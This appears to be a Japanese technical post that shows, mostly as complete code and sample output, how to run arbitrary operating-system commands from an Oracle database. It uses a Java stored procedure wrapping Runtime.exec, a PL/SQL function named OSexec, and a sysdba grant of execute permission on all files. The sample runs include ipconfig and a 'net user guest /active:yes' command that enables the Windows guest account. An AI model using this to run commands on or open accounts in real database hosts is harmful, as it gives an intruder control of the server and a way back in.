oracleシステムコマンドの実行

テスト成功環境:windows XP+oracle 10 g、window 2008 R 2+11 g
 
 
コードは次のとおりです.
 

create or replace and compile Java Source named "OSCommand" as
-- java:        OS COMMAND

import java.io.*;
import java.lang.*;
public class OSCommand{
 
 
        public static String Run(String Command){
 
                Runtime rt = Runtime.getRuntime();
                int     rc = -1;
 
                try{
 
                        Process p = rt.exec( Command );
                        int bufSize = 32000;
                        int len = 0;
                        byte buffer[] = new byte[bufSize];
                        String s = null;
 
                        BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
                        len = bis.read( buffer, 0, bufSize );
 
                        rc = p.waitFor();
 
                        if ( len != -1 ){
                                s = new String( buffer, 0, len );
                                return( s );
                        }
 
                        return( rc+"" );
                }
 
                catch (Exception e){
                        e.printStackTrace();
                        return(  "-1
command[" + Command + "]
" + e.getMessage() );
                }
 
        }
}
/ 
show errors
 
create or replace function OSexec( cCommand IN string ) return varchar2 is
-- function:    OS EXEC
-- descr:       PL/SQL wrapper for the Java OSCOMMAND stored proc
--
language        JAVA
name            'OSCommand.Run(java.lang.String) return java.lang.String';
/ 
show errors
 
 

-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
-- and OSCOMMAND stored procs.
declare
        SCHEMA  varchar2(30) := 'SCOTT';
begin
        dbms_java.grant_permission(
                SCHEMA,
                'SYS:java.io.FilePermission',
                '<<ALL FILES>>',
                'execute'
        );
 
        dbms_java.grant_permission(
                SCHEMA,
                'SYS:java.lang.RuntimePermission',
                'writeFileDescriptor',
                '*'
        );
 
        dbms_java.grant_permission(
                SCHEMA,
                'SYS:java.lang.RuntimePermission',
                'readFileDescriptor',
                '*'
        );
 
commit;
end;
/ 
 
--         
SQL> select OSexec('ipconfig') as STDOUT from dual;
 
STDOUT
--------------------------------------------------------------------------------
 
Windows IP ????
 
 
??????????? ????l?? 3:
 
   l??????? DNS ??? . . . . . . . :
   ????t?? IPv6 ???. . . . . . . . : *************
   IPv4 ??? . . . . . . . . . . . . : 192.168.100.100
   ????????  . . . . . . . . . . . . : 255.255.255.0
   ??????. . . . . . . . . . . . . : 0.0.0.0

--  guest  
 SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
 
STDOUT
--------------------------------------------------------------------------------
0